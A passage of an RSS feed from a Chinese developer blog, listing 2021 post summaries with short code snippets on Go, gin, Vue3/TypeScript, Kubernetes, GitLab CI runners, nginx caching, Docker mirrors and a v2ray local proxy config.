或许不在掌控范围内。 自己控制起来很简单， 无非就是加一个 Header 头嘛。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 package main import ( &amp;#34;fmt&amp;#34; &amp;#34;github.com/gin-gonic/gin&amp;#34; ) func main() { r := gin.Default() // 一</description></item><item><title>配置文件初始化思路一二三</title><link>https://typonotes.com/posts/2021/11/26/golang-project-config-initial-tips/</link><pubDate>Fri, 26 Nov 2021 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2021/11/26/golang-project-config-initial-tips/</guid><description>配置文件初始化思路要点一二三 配置文件字段如下 1 2 3 4 type Config struct { Server Server `json:&amp;#34;server,omitempty&amp;#34; yaml:&amp;#34;server,omitempty&amp;#34;` Ingresses netv1.IngressSpec `json:&amp;#34;ingresses,omitempty&amp;#34; yaml:&amp;#34;ingresses,omitempty&amp;#34;` } 完整配置如下 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 server: port: 8080 ingresses: rules: - host: www.baidu.com http: paths: - backend: service: name: /search port: number: 80 pathType: ImplementationSpecific # pathType: Exact # pathType: Prefix Config 文件 读取多个文件后合并最终结果。 可以将不同的功能配置放在不同的文件中， 在数据内容多的情况下更有利于操作。</description></item><item><title>nginx 实现首页不缓存</title><link>https://typonotes.com/posts/2021/11/25/index-no-cache-in-nginx/</link><pubDate>Thu, 25 Nov 2021 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2021/11/25/index-no-cache-in-nginx/</guid><description>nginx 实现首页不缓存 前端上 CDN 加速， 后端上 DCDN， 加速网站访问速度。 前端代码编译的时候， 可以加上 hash 值使编译后的产物名字随机， 可以在不刷新 CDN 资源 的情况下， 保障页面展示最新。 虽然对多了一点回源， 但减少了人工操作。 但是 首页不能被缓存， 否则于事无补。 对于首页的缓存设置， 有一点注意事项， 其一 ，</description></item><item><title>v2ray 配置</title><link>https://typonotes.com/posts/2021/11/19/v2ray-client-config/</link><pubDate>Fri, 19 Nov 2021 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2021/11/19/v2ray-client-config/</guid><description>v2ray 配置 命令行快捷键 pxy=&amp;#39;http_proxy=http://127.0.0.1:7890 https_proxy=http://127.0.0.1:7890 $@&amp;#39; client.json 同时监听 socks5 和 http 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 { &amp;#34;log&amp;#34;: { &amp;#34;error&amp;#34;: &amp;#34;&amp;#34;, &amp;#34;loglevel&amp;#34;: &amp;#34;info&amp;#34;, &amp;#34;access&amp;#34;: &amp;#34;&amp;#34; }, &amp;#34;inbounds&amp;#34;: [ { &amp;#34;listen&amp;#34;: &amp;#34;127.0.0.1&amp;#34;, &amp;#34;protocol&amp;#34;: &amp;#34;socks&amp;#34;, &amp;#34;settings&amp;#34;: { &amp;#34;udp&amp;#34;: false, &amp;#34;auth&amp;#34;: &amp;#34;noauth&amp;#34;</description></item><item><title>设置 docker server 网络代理</title><link>https://typonotes.com/posts/2021/11/19/docker-server-network-proxy/</link><pubDate>Fri, 19 Nov 2021 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2021/11/19/docker-server-network-proxy/</guid><description>如果在国内使用docker, 大家一般会配置各种加速器, 我一般会配置阿里云或腾讯云，还算比较稳定。 /etc/docker/daemon.json 配置如下 1 2 3 4 5 6 7 8 { &amp;#34;registry-mirrors&amp;#34;: [ &amp;#34;https://mirror.ccs.tencentyun.com&amp;#34;, &amp;#34;https://wlzfs4t4.mirror.aliyuncs.com&amp;#34; ], &amp;#34;bip&amp;#34;: &amp;#34;169.253.32.1/24&amp;#34;, &amp;#34;data-root&amp;#34;: &amp;#34;/data/docker/var/lib/docker&amp;#34; } 上述配置， 对 docker.io 的镜像加速效果很好， 但对 google 镜像的加速效果就很差了比如k8s相关的以gcr.io或quay.io开头的镜像地址。 这个时候可以</description></item><item><title>typescript 将 json 序列化为 querystring 格式</title><link>https://typonotes.com/posts/2021/09/29/typescript-convert-json-to-querystring/</link><pubDate>Wed, 29 Sep 2021 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2021/09/29/typescript-convert-json-to-querystring/</guid><description>typescript 将 json 序列化为 querystring 格式 使用 typescript 时， 需要同时安装 @types/qs 和 qs 1 yarn add @types/qs qs demo 1 2 3 4 5 6 7 8 9 const params = qs.stringify({ namespace: namespace, replicas: replicas, }) const u = `/deployments/${name}/replicas?${params}` console.log(&amp;#34;Uuuuu::::&amp;#34;, u); // Uuuuu:::: /deployments/failed-nginx/replicas?namespace=default&amp;amp;replicas=3</description></item><item><title>vue3 安装 vue-router 支持</title><link>https://typonotes.com/posts/2021/09/28/vue3-vue-router/</link><pubDate>Tue, 28 Sep 2021 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2021/09/28/vue3-vue-router/</guid><description>安装 vue-router 路由支持 在 vue3 中使用的是 vue-router@next 版本 ^4.y.z 1 yarn add vue-router@next /src/router/index.ts 创建路由规则 安装之后， 在创建文件 /src/router/index.ts 作为 vue-router 的初始化文件。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 // 导入创建路由所需的组件 import { createRouter, createWebHistory } from &amp;#34;vue-router&amp;#34;; // 路由目标组件 import HelloWorld from &amp;#39;../components/HelloWorld.vue&amp;#39; import World from &amp;#39;../components/World.vue&amp;#39; // 路由表 const routes = [ { path: &amp;#34;/helloworld&amp;#34;, name: &amp;#34;HelloWorld&amp;#34;, component: HelloWorld }, { path: &amp;#34;/world&amp;#34;, name: &amp;#34;World&amp;#34;, component: World } ] // 创</description></item><item><title>vue3 使用 @ 路径别名</title><link>https://typonotes.com/posts/2021/09/28/vue3-with-alias-path/</link><pubDate>Tue, 28 Sep 2021 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2021/09/28/vue3-with-alias-path/</guid><description>使用 @ 路径别名 在使用 import 的时候， 可以使用相对路径 ../components/HelloWorld.vue 指定文件位置， 但这依赖文件本身的位置，在 跨目录 的时候， 并不方便。 例如， 路由文件 要使用 Components 组件 1 2 3 4 // file: /src/router/index.ts // 路由目标组件 import HelloWorld from &amp;#39;../components/HelloWorld.vue&amp;#39; import World from &amp;#39;../components/World.vue&amp;#39; 要使用路径别名， 需要进行一些额外配置 安装 @types/node 支持 安装 @types/node 组件 1 yarn add @types/node 在 tsconfig.json 中， compilerOptions 下配置 1 2 3 4 5 6 7 8 9</description></item><item><title>gin 内部重定向时 middleware 不可用异常</title><link>https://typonotes.com/posts/2021/09/27/gin-301-redirect-slash-cause-cors-error/</link><pubDate>Mon, 27 Sep 2021 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2021/09/27/gin-301-redirect-slash-cause-cors-error/</guid><description>gin 内部重定向时 middleware 不可用异常 axios 请求时出现 cors error 在使用 axios 请求后端时，遇到 cors 跨域问题， 虽然已经在 gin 中添加了 cors 的 middleware 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 func cors() gin.HandlerFunc { return func(c *gin.Context) { method := c.Request.Method origin := &amp;#34;*&amp;#34; if method != &amp;#34;&amp;#34; { c.Header(&amp;#34;Access-Control-Allow-Origin&amp;#34;, origin) // 可将将 * 替换为指定的域名 c.Header(&amp;#34;Access-Control-Allow-Methods&amp;#34;, &amp;#34;POST, GET, OPTIONS, PUT, DELETE, UPDATE&amp;#34;) c.Header(&amp;#34;Access-Control-Allow-Headers&amp;#34;, &amp;#34;Origin, X-Requested-With, Content-Type, Accept, Authorization,X-Token&amp;#34;) c.Header(&amp;#34;Access-Control-Expose-Headers&amp;#34;, &amp;#34;Content-Length, Access-Control-Allow-Origin, Access-Control-Allow-Headers, Cache-Control, Content-Language, Content-Type&amp;#34;) c.Header(&amp;#34;Access-Control-Allow-Credentials&amp;#34;, &amp;#34;true&amp;#34;) } if method == &amp;#34;OPTIONS&amp;#34; { c.AbortWithStatus(http.StatusNoContent) } } } 问题原因 gin Middleware</description></item><item><title>K8S 使用 TTL 控制器自动清理完成的 job pod</title><link>https://typonotes.com/posts/2021/09/23/k8s-ttl-seconds-after-finished-forbidden/</link><pubDate>Thu, 23 Sep 2021 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2021/09/23/k8s-ttl-seconds-after-finished-forbidden/</guid><description>K8S 使用 TTL 控制器自动清理完成的 Job Pod 最近为集群 CI 默认添加了 .spec.ttlSecondsAfterFinished 参数， 以便在 cronjob 和 job 运行完成后自动清理过期 pod 。 但是在 CI 的时候却失败， 报错如下。 1 spec.jobTemplate.spec.ttlSecondsAfterFinished: Forbidden: disabled by feature-gate 核查资料得知， 在 v1.21 之前， 该开关默认是关闭的。 刚好错误集群低于此版本。 Job TTL 控制器 K8S 提供了一个 TTL 控制器， 可以自动在 JOB Complete 或 Failed 之后， 经过一定时间</description></item><item><title>经过99次失败后， 我总结了几点 Golang 反射的经验（附源码）</title><link>https://typonotes.com/posts/2021/09/22/golang-reflect/</link><pubDate>Wed, 22 Sep 2021 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2021/09/22/golang-reflect/</guid><description>经过99次失败后， 我总结了几点 Golang 反射的经验（附源码） golang 反射很好用， 也有很多坑。 代码在: https://github.com/tangx-labs/golang-reflect-demo Kind 和 Type 在 golang 的反射中， 有两个可以表示 类型 的关键字， Kind 和 Type 。 定义覆盖范围 Kind 的定义覆盖范围比 Type 要大。 Kind 在定义上要 更抽象， Type 要更具体。 可以简单理解为， 如果 Kind 是 车 ， 那么 Type 可能是 公交车 、 消防车 内置类型字面</description></item><item><title>太久没写， 都忘记了 golang slice 切片的完整表达式</title><link>https://typonotes.com/posts/2021/09/22/golang-slice-expressions/</link><pubDate>Wed, 22 Sep 2021 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2021/09/22/golang-slice-expressions/</guid><description>太久没写， 都忘记了 golang slice 切片的完整表达式 原文链接: https://tangx.in/posts/2021/09/22/golang-slice-expressions/ 通常，我们写的 golang slice 边界只有两个数字 slice[1:3] ， 这是一种简单写法。 而完整写法是 三个数字 slice[1:3:5] 简单表达式 一个冒号， 两个参数， 表示 slice 元素的 起止区间 1 a[low:high] 案例代码如下 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 package main import ( &amp;#34;fmt&amp;#34; ) func main() { a := [5]int{1, 2, 3, 4, 5} s := a[1:4] // [2,3,4] fmt.Println(s) s1 :=</description></item><item><title>gitlab shell runner</title><link>https://typonotes.com/posts/2021/09/18/gitlab-shell-runner/</link><pubDate>Sat, 18 Sep 2021 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2021/09/18/gitlab-shell-runner/</guid><description>快速创建 gitlab shell runner 真没想道有一天， 我居然会创建 gitlab shell runner 。 环境太难管理了 创建 gitlab shell runner 实话实说， gitlab 现在的用户体验太好了。 根本不需要到处去搜文档，直接在 runner 管理界面就可以找到， 还贴心的给你准备了全套， 一键复制粘贴搞定。 https://git.example.com/admin/runners 点击 Show Runner installation instructions 可以看到多种 runner 的配置。 在默认的基础上， 根据实际情况优化一下。 1 2</description></item><item><title>golang 使用反射绑定 cobra flag 参数</title><link>https://typonotes.com/posts/2021/09/18/golang-cobra-flag-binder/</link><pubDate>Sat, 18 Sep 2021 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2021/09/18/golang-cobra-flag-binder/</guid><description>golang 使用反射绑定 cobra flag 参数 cobra https://github.com/spf13/cobra 是 golang 中一个非常好用的 命令 开发库。 但是绑定 flag 参数的时候略微有点繁琐， 不但有多少个参数就需要写多少行绑定代码， 而且参数定义和描述也是分开的， 非常的不直观。 1 2 3 4 5 6 func init() { rootCmd.Flags().StringVarP(&amp;amp;stu.Name, &amp;#34;name&amp;#34;, &amp;#34;&amp;#34;, &amp;#34;zhangsanfeng&amp;#34;, &amp;#34;student name&amp;#34;) rootCmd.Flags().Int64VarP(&amp;amp;stu.Age, &amp;#34;age&amp;#34;, &amp;#34;a&amp;#34;, 18, &amp;#34;student age&amp;#34;) // ... } 想着吧， 反正都要了解 golang reflect 反射, 不如就用 反射 实现一个绑定支</description></item><item><title>go-jarvis 容器化 go 应用开发配置管理利器</title><link>https://typonotes.com/posts/2021/09/17/go-jarvis-config-manager/</link><pubDate>Fri, 17 Sep 2021 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2021/09/17/go-jarvis-config-manager/</guid><description>go-jarvis/jarivs 为了方便 golang 容器化开发的时候管理配置。 核心功能 根据 config 结构体生成 yaml 配置文件 程序启动时， 从 yaml 配置文件和 环境变量 中对 config 赋值 执行逻辑 根据配置 config{} 生成对应的 default.yml 配置文件。 读取依次配置文件 default.yml, config.yml + 分支配置文件.yml + 环境变量 根据 GitlabCI, 分支配置文件 config.xxxx.yml 如没有 CI, 读取本地文件: local.yml 使用需求 config 对象中的结构体中，</description></item><item><title>docker runner 配置编译环境的大文件依赖</title><link>https://typonotes.com/posts/2021/09/10/gitlab-docker-runner-with-huge-build-dependence-files/</link><pubDate>Fri, 10 Sep 2021 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2021/09/10/gitlab-docker-runner-with-huge-build-dependence-files/</guid><description>docker runner 配置编译环境的大文件依赖 需求简介： 现在要做某个 arm 平台的的交叉编译环境， 交叉编译依赖和工具包大小 5G 左右， 特别大。 如果按照以往的方式， 直接将 编译依赖和工具 直接打包到编译镜像中， 会有很多麻烦。 单 layer 过大 docker 单层 layer 限制为 5G。 镜像升级迭代 浪费空间 。 如果镜像上层升级或者依赖变化， 整个 layer 不能</description></item><item><title>gitlab-runner-build not found in path</title><link>https://typonotes.com/posts/2021/09/10/gitlab-runner-build-not-found-in-path/</link><pubDate>Fri, 10 Sep 2021 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2021/09/10/gitlab-runner-build-not-found-in-path/</guid><description>&amp;quot;gitlab-runner-build&amp;quot;: executable file not found in $PATH 在搭建 gitlab-runner 的过程中，报错如下 1 ERROR: Job failed (system failure): prepare environment: Error response from daemon: OCI runtime create failed: container_linux.go:370: starting container process caused: exec: &amp;#34;gitlab-runner-build&amp;#34;: executable file not found in $PATH: unknown (exec.go:57:0s). Check https://docs.gitlab.com/runner/shells/index.html#shell-profile-loading for more information 因为在 environment 中 扩展了 PATH 而导致 gitlab-runner-helper 中的 PATH 出现了异常。 从而导致 gitlab-runner-build 这个脚本（命令） 无法被找到。 原因分析 在 gitlab 的定义中 environment 的行为有两种 ， append(扩展) 或 overwrite(覆盖)。</description></item><item><title>GET 请求也能传递 JSON Body</title><link>https://typonotes.com/posts/2021/09/09/ginbinder-allow-get-accept-body-data/</link><pubDate>Thu, 09 Sep 2021 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2021/09/09/ginbinder-allow-get-accept-body-data/</guid><description>GET 请求也能传递 Body 数据 通常而言， GET 请求很少传递 Body 数据， 大多情况下都是放在 url 中， 例如 1 http://example.com/api?key1=value1&amp;amp;key2=value2 但是这样做， 可能由于 传递数据过多 导致 URL 过程而被拦截。 运营商会缓存 URL 地址以达到加速的效果， 而有些参数又不想被缓存。 等等 虽然， 可以使用 POST 请求代替 GET 请求， 在 Body 中传递数据， 但是这样做可能会破坏 RESTful 风格的 API 格</description></item><item><title>golang 括号用法总结</title><link>https://typonotes.com/posts/2021/09/09/golang-brackets/</link><pubDate>Thu, 09 Sep 2021 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2021/09/09/golang-brackets/</guid><description>golang 括号用法总结 1 2 3 4 5 6 7 8 var ( f unsafe.Pointer a io.ReadCloser = (*os.File)(f) // 只要是一个指针就可以 b io.Reader = a // a的方法集大于等于b，就可以做隐式的转换！ c io.Closer = a // 同样 d io.Reader = c.(io.Reader) // 显式转换，c这个接口很明显方法集和io.Reader不同 // 但是万一传入c的对象拥有io.Reader接口呢？比如 ) 提问， 以上这些括号都是</description></item><item><title>axios get 请求携带 body 数据</title><link>https://typonotes.com/posts/2021/09/07/typescript-axios-get-request-with-body-data/</link><pubDate>Tue, 07 Sep 2021 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2021/09/07/typescript-axios-get-request-with-body-data/</guid><description>axios get 请求携带 json body 数据 在 http 标准协议中， GET 请求 本身是可以携带 Body 数据 。 至于 GET 请求携带的数据能不能被获取， 还是要看接受端 后端 是否处理。 在 gin-gonic/gin 框架中， GET 请求默认就不会处理 body 中的数据， 只能通过 query 表单数据传递。 然而不同的浏览器对于 URL 长度的限制也不同，一般是 1024 个字符， 1. 有些时候需要携带的数据可能超</description></item><item><title>如果 golang map 值不能修改怎么办？</title><link>https://typonotes.com/posts/2021/09/07/golang-map-struct-value-modify/</link><pubDate>Tue, 07 Sep 2021 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2021/09/07/golang-map-struct-value-modify/</guid><description>值对象与指针对象 假设有一个 map 对象 map[string]Person ， 其中 Person 定义如下。 是一个 struct 1 2 3 type Person struct { Age int } 现在有一个需求， map 中的 Person 对象年龄为 0 ， 则将其默认值设置为 18。 很显然， 由于 map[string]Person 中保存的是 值对象 ，因此通过任意方式获取的都是 值对象的副本 ， 所有修改都是在副本上， 不能 修改真实值。 如果是 map[string]*Person 就很方便了。 *Person 是 指针</description></item><item><title>GitlabCI 使用多个 Runner 执行特定 JOB</title><link>https://typonotes.com/posts/2021/09/06/gitlab-ci-under-multiple-runners/</link><pubDate>Mon, 06 Sep 2021 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2021/09/06/gitlab-ci-under-multiple-runners/</guid><description>GitlabCI 使用多个 Runner 执行特定 JOB 在 Gitlab CI 中，Runner 是 Job 的执行器， 也就是说 Job 的运行环境， 就是 Runner 的环境。 那么， 怎么将同一个 gitlab ci 中的 Job 运行在不同的 Runner 上呢？ 例如， 根据 操作系统 区分， job1 运行在 windows 上， job2 运行在 linux 上， 诸如此类。 使用 TAG 指定 runner 其实很简单， gitlab ci 中， 可以通过指定 tags 来设定运行条件， 满足了 tag 才能被</description></item><item><title>一篇文章告诉你 golang 环境变量的所有基础操作</title><link>https://typonotes.com/posts/2021/09/06/golang-os-env-operation/</link><pubDate>Mon, 06 Sep 2021 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2021/09/06/golang-os-env-operation/</guid><description>一篇文章告诉你 golang 环境变量的所有基础操作 原文链接： https://tangx.in/posts/2021/09/06/golang-os-env-operation/ golang 中的环境变量操作都在 os 包下面， 只有很少的几个方法， 而且字面意思也很明确。 所有环境变量操作对象都是 字符串string ， 因此对于 int， bool 类型需要自己实现转换。 golang 程序执行的时候， 是在 linux 系统中 fork 的一种子进程中 golang程序 在 复制了开</description></item><item><title>typora 定义 github pages 专属配置</title><link>https://typonotes.com/posts/2021/09/02/typora-borned-for-github-page/</link><pubDate>Thu, 02 Sep 2021 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2021/09/02/typora-borned-for-github-page/</guid><description>typora ， 可以说一款为 github pages 网站量身定制的软件 配置初始目录 在 配置中 选择 General ， 选择默认打开的目录。 配置图片路径 众所周知， Github Pages(Jekyll) 中， 文章需要放到 _post 下， 而资源应该另外创建目录， 如 assert 等。 这就造成了普通 markdown 编辑器插入图片的不方便。 解决方法如下： 使用图床， 彻底外部独立， 不存在相对路径的问题 放在 assert 下面， 但本</description></item><item><title>(2) Vue3 / React 静态网站项目容器化 - 实战案例</title><link>https://typonotes.com/posts/2021/09/01/typescript-for-of-interface-and-assert-keyof-type/</link><pubDate>Wed, 01 Sep 2021 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2021/09/01/typescript-for-of-interface-and-assert-keyof-type/</guid><description>Vue3 / React 静态网站项目容器化 - 实战案例 在前端容器化的时候， 有一个绕不开的问题： 容器返回的后端地址应该怎么设置。 静态编译到所有文件中， 肯定是不可取的， 总不能后端变更一个访问域名，前端都要重新构建一次镜像吧？ 由于 js (typescript 编译后 ) 实际是运行在 用户的浏览器上， 所以也不能像后端一样读取环境变量。 所</description></item><item><title>typescript 中使用 @ 路径别名</title><link>https://typonotes.com/posts/2021/09/01/typescript-use-alias-path/</link><pubDate>Wed, 01 Sep 2021 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2021/09/01/typescript-use-alias-path/</guid><description>typescript 中使用 @ 路径别名 使用路径别名 @/some/path/index.ts 可以很简单的表示一个文件的绝对路径（其实是相对于 @ 的相对路径） 安装 @types/node 1 yarn add @types/node 配置 tsconfig.json , 一下是基于 vite2 项目配置 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 { &amp;#34;compilerOptions&amp;#34;: { // ... , &amp;#34;types&amp;#34;: [ &amp;#34;node&amp;#34; ], // https://github.com/vitejs/vite/issues/279 &amp;#34;paths&amp;#34;: { &amp;#34;@/*&amp;#34;: [ &amp;#34;./src/*&amp;#34;, ] } }, // ... } 就可以在 ts 文件中使用 @ 别名引入了。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17</description></item><item><title>vue3 使用 vite2 初始化项目</title><link>https://typonotes.com/posts/2021/08/31/vue3-vite2-initial/</link><pubDate>Tue, 31 Aug 2021 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2021/08/31/vue3-vite2-initial/</guid><description>vue3 使用 vite2 初始化项目 vue3 + vite2 + typescript 配置 使用 vite2 创建项目 1 2 3 4 5 6 # 交换式 yarn create vite # 非交互式 yarn create vite project-name --template vue-ts 创建项目之后， cd project-name 进入项目， 是用 yarn 安装依赖， 使用 yarn dev 运行程序。 安装 less 支持 less 是 css 的一个超集。 yarn add less 安装之后， 可以在 CompName.vue 中使用 less 语法 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 // CompName.vue &amp;lt;template&amp;gt; &amp;lt;div class=&amp;#34;div1&amp;#34;&amp;gt; &amp;lt;h3&amp;gt;div1&amp;lt;/h3&amp;gt; &amp;lt;div class=&amp;#34;div2&amp;#34;&amp;gt; &amp;lt;h3&amp;gt;div2&amp;lt;/h3&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/template&amp;gt;</description></item><item><title>一道 golang 切片面试题</title><link>https://typonotes.com/posts/2021/08/30/golang-array-and-slice/</link><pubDate>Mon, 30 Aug 2021 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2021/08/30/golang-array-and-slice/</guid><description>一道 golang 切片面试题 为什么 sl[:5] 会返回底层数组的数据呢？ 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 package main import &amp;#34;fmt&amp;#34; func main() { sl := make([]int, 0, 10) appendFn := func(s []int) { // 值传递， s 并不是 sl。 // 但数组是引用类型， 所以可以修改底层数组 fmt.Println(&amp;#34;s ptr(old):&amp;#34;, s) // [] s = append(s, 10, 20, 30) fmt.Println(&amp;#34;s ptr(new):&amp;#34;, s) // [10,20,30] } fmt.Println(sl) // [] appendFn(sl) fmt.Println(sl) // [] // 这里有点坑， 并不是取的 sl ，而是底</description></item><item><title>golang 下划线完成对象的接口类型检查</title><link>https://typonotes.com/posts/2021/08/26/golang-varible-decleare-with-blank-identifier/</link><pubDate>Thu, 26 Aug 2021 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2021/08/26/golang-varible-decleare-with-blank-identifier/</guid><description>golang 下划线完成对象的接口类型检查 在 Gin 源码中 有一行代码如下 1 var _ IRouter = &amp;amp;RouterGroup{} 乍一看， 是一个 赋值 操作， 但是前面又使用了 空白描述符(下划线) 。 这是什么意思呢？ 答案是： 接口类型检查 在 《Effective GO》 Interface Check 中的描述有相关描述。 全文如下。 One place this situation arises is when it is necessary to guarantee within the package implementing the type that it actually satisfies the interface. If a type-for</description></item><item><title>typescript 中的 const 断言</title><link>https://typonotes.com/posts/2021/08/26/typescript-const-assertions/</link><pubDate>Thu, 26 Aug 2021 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2021/08/26/typescript-const-assertions/</guid><description>typescript 中的 const assertions const assertions - TypeScript 3.4 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 // vue3 const dnsProviders = { &amp;#34;aliyun.com&amp;#34;: &amp;#34;alidns&amp;#34;, &amp;#34;tencent.com&amp;#34;: &amp;#34;dnspod&amp;#34; } let data = reactive({ rootDomain: &amp;#34;aliyun.com&amp;#34; as const }) let dnsProvider = computed( () =&amp;gt; { return dnsProviders[data.rootDomain] } ) 这个时候会， 提示 7053 错误， data.rootDomain 具有 any type, 不能被用作 key。 解决这个问题使用， 需要使用 typescript 中 const assertion 类型推断。 const assertion 类型推断。 字面量类型推断: 其类型为字面值类型。 例如这里的 hello 的类型是</description></item><item><title>typescript 中的时间处理</title><link>https://typonotes.com/posts/2021/08/25/typescript-time-operation/</link><pubDate>Wed, 25 Aug 2021 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2021/08/25/typescript-time-operation/</guid><description>typescript 中的时间处理 在 typescript/ javasctipt 中， 时间 是一个 构造 函数， 需要通过 const dt = new Date(xxx) 进行初始化创建时间对象。 创建时间对象 1 2 3 4 5 6 7 8 9 10 // 获取当前时间对象 const now = new Date() // 将字符串时间转换为 Date 时间对象 const timeStr = &amp;#39;2021-08-23T02:42:17Z&amp;#39; const dt = new Date(timeStr) // 根据数字创建时间 const dt2 = new Date(Date.UTC(2006, 0, 2, 15, 4, 5)); console.log(&amp;#34;event:::&amp;#34;, dt2); 时间操作 获取时间对象的属性值 通过 getXXX() 方法， 可以</description></item><item><title>golang 中的时间处理</title><link>https://typonotes.com/posts/2021/08/23/golang-time-operation/</link><pubDate>Mon, 23 Aug 2021 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2021/08/23/golang-time-operation/</guid><description>golang 中的时间处理 在 golang 中有一个很重要的 格式化时间的字符串 2006-01-02T15:04:05Z07:00 ， 这个也是 golang 默认时间模版模版中的 time.RFC3339 1 RFC3339 = &amp;#34;2006-01-02T15:04:05Z07:00&amp;#34; golang 中关于时间的处理， 用到了上面的 每一个 数字和字母。 需要特别注意的是， 时区用的是 7 而非 6 ， 因为 6 已经在 年（2006） 中出现了 创建时间对象 time.Time 1 2 3 4 5 6 7 8 9 10 // 1. 创建当前时间对象 now := time.Now() //</description></item><item><title>ginbinder 的书写过程-一起来看gin源码吧</title><link>https://typonotes.com/posts/2021/08/20/ginbinder-how-to-develop/</link><pubDate>Fri, 20 Aug 2021 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2021/08/20/ginbinder-how-to-develop/</guid><description>ginbind 的实现过程-一起来看gin源码吧 是的，没错。 如果你用过 gin 那么你一定知道，gin 中绑定参数的方式很零散。 c *gon.Context 给你提供了很多中方法， 例如BindHeader, BindURI 等等， 但是如果想要绑定 reqeust 中不同地方的参数， 那对不起咯，并没有。 另外， gin 中的 Bind 接口， 默认是包含了 参数验证 validate 功能的， 因此如果你</description></item><item><title>ginbinder 一次绑定所有 request 参数</title><link>https://typonotes.com/posts/2021/08/19/ginbinder/</link><pubDate>Thu, 19 Aug 2021 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2021/08/19/ginbinder/</guid><description>ginbinder 一次绑定 Request 中所有需要的数据 Usage 废弃/不可用: 弃用原生 tag form tag。 保持: 使用 tag uri 绑定路径中的参数。 作用于某个字段 就是 example.com/:some/:path 中 冒号后面的 保持: 使用 tag header 绑定 header。 作用于某个字段 新增: 新增 tag query tag 绑定通过 Query 传递的参数。 作用于某个字段 就是 example.com/some/path?a=1&amp;amp;b=2 中 问号后面的那一串 新增: 新增 tag cookie 绑定 cookie 中 简单 的键</description></item><item><title>go1.17泛型尝鲜</title><link>https://typonotes.com/posts/2021/08/18/go117-generic-preview/</link><pubDate>Wed, 18 Aug 2021 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2021/08/18/go117-generic-preview/</guid><description>go1.17 泛型尝鲜 语法格式如下， 需要使用 [T Ttype] 指定约束条件， 例如 [T any] 不做任何约束, [T MyInterface] 满足 MyInterface 的约束 接下来我们将尝试上述提到的内容。 1 2 3 func fname[T Ttype](args []T) T { // statement } 需要注意的是， 现在泛型在 go1.17 中依旧不是正式支持， 所以在 IDE 或者编辑器上会有报错。 编译需要指定额外的 -gcflags=-G=3 参数 1 go run -gcflags=-G=3 main.go 开始吧 不约束 any 首先，我们来</description></item><item><title>golang gin 使用 context 实现 ioc</title><link>https://typonotes.com/posts/2021/07/28/ioc-by-gin-context/</link><pubDate>Wed, 28 Jul 2021 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2021/07/28/ioc-by-gin-context/</guid><description>golang gin 使用 context 实现 ioc gin 是一个流行的 golang webserver 的框架。 https://github.com/gin-gonic/gin gin 中 HandlerFunc (type HandlerFunc func(*Context)) 的使用随处可见, ex. Middleware , Handler 中。 1 2 3 4 router.GET(&amp;#34;/user/:name&amp;#34;, func(c *gin.Context) { name := c.Param(&amp;#34;name&amp;#34;) c.String(http.StatusOK, &amp;#34;Hello %s&amp;#34;, name) }) 因此，根据之前 golang context 实现 IoC 容器经验， 使用 *gin.Context 作为 IoC 容器再好不过了。 标准库 context.Context 是一个接口(interface)， gin.Context 是 gin 工程自己封装的的一个 struct， 并实现了该接口。 虽然</description></item><item><title>golang 使用 Context 实现 IoC 容器</title><link>https://typonotes.com/posts/2021/07/27/ioc-by-golang-context/</link><pubDate>Tue, 27 Jul 2021 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2021/07/27/ioc-by-golang-context/</guid><description>golang 使用 Context 